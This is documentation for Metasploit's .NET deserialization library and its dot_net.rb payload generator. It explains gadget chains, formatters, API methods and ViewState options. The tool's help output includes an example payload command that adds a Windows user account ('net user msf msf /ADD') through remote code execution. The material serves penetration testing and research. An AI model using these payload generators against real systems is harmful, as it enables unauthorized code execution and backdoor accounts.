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Metasploit includes a library for leveraging .NET deserialization attacks. Using it within a module is very straight forward, the module author just needs to know two things: the gadget chain and the formatter. The library uses the same names for each of these values as the YSoSerial.NET project for compatibility, although the Metasploit library only supports a subset of the functionality.

Support Matrix

The following table outlines the supported gadget chains, formatters and the compatibility of each.

Gadget Chain NameBinaryFormatterLosFormatterSoapFormatter

Basic Usage

The library is located in Msf::Util::DotNetDeserialization and contains the following methods which are intended for use by module authors.

  • #generate(cmd, gadget_chain:, formatter:)

    This function will generate a serialized payload to execute the specified operating system command cmd. The command is serialized using the specified gadget_chain and formatted with the specified formatter. The gadget_chain and formatter options will be specific to the vulnerability that is being executed. This functions returns a string.

  • #generate_formatted(stream, formatter:)

    Format a SerializedStream object, as created by #generate_gadget_chain. The stream will be formatted using the specified formatter and returned as a string.

  • #generate_gadget_chain(cmd, gadget_chain:)

    Create a gadget chain to run the specified operating system command cmd. This returns a SerializedStream object which can be inspected and modified but must formatted (using #generate_formatted) before it is useful.

#generate is the primary function and is functionally equivalent to the following. In the future the #generate_* functions may contain additional options specific to their respective chain or formatter.

stream = generate_gadget_chain(cmd, gadget_chain)
formatted = generate_formatted(stream, formatter)

Example Usage

The following example uses the TextFormattingRunProperties gadget chain formatted with the LosFormatter.

serialized = ::Msf::Util::DotNetDeserialization.generate(
 cmd,  # this is the Operating System command to run
 gadget_chain: :TextFormattingRunProperties,
 formatter: :LosFormatter

Command Line Tool

The library also has an interface available as a standalone command line tool which is suitable for creating payloads for single-use research purposes. This tool dot_net.rb is available in the tools/payloads/ysoserial directory. The arguments for this tool are aligned with those of YSoSerial.NET, allowing the arguments of basic invocations to be the same. It should be noted however that the supported gadgets and formatters are not the same.

Help output:

Usage: ./dot_net.rb [options]

Generate a .NET deserialization payload that will execute an operating system
command using the specified gadget chain and formatter.

Available formatters:
  * BinaryFormatter
  * LosFormatter
  * SoapFormatter

Available gadget chains:
  * ClaimsPrincipal
  * DataSet
  * DataSetTypeSpoof
  * ObjectDataProvider
  * TextFormattingRunProperties
  * TypeConfuseDelegate
  * WindowsIdentity

Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5

  ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
  ./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
    --viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1

General options:
    -h, --help                       Show this message
    -c, --command   <String>         The command to run
    -f, --formatter <String>         The formatter to use (default: BinaryFormatter)
    -g, --gadget    <String>         The gadget chain to use (default: TextFormattingRunProperties)
    -o, --output    <String>         The output format to use (default: raw, see: --list-output-formats)
        --list-output-formats        List available output formats, for use with --output

ViewState related options:
        --viewstate-generator             <String>
                                     The ViewState generator string to use
        --viewstate-validation-algorithm  <String>
                                     The validation algorithm (default: SHA1, see: Available HMAC algorithms)
        --viewstate-validation-key        <HexString>
                                     The validationKey from the web.config file

The -g / --gadget option maps to the gadget_chain argument for the generate functions while the -f / --formatter arguments maps to the formatter argument.

Making Changes

Adding new gadget chains and formatters involves creating a new file in the respective library directory: lib/msf/util/dot_net_deserialization. The “native” gadget chain type is implemented following the MS-NRBF format and the Bindata records as defined in types/ subdirectory. Once the new gadget chain or formatter is implemented, it needs to be added to the main library file (dot_net_deserialization.rb).

Since serialization chain generate is deterministic, a unit test should be added for any new gadget chain to ensure that the checksum of the BinaryFormatter representation is consistent.

Further Reading

Since the .NET deserialization gadgets run operating system commands, the following resources can be helpful for module developers to deliver native payloads such as Meterpreter.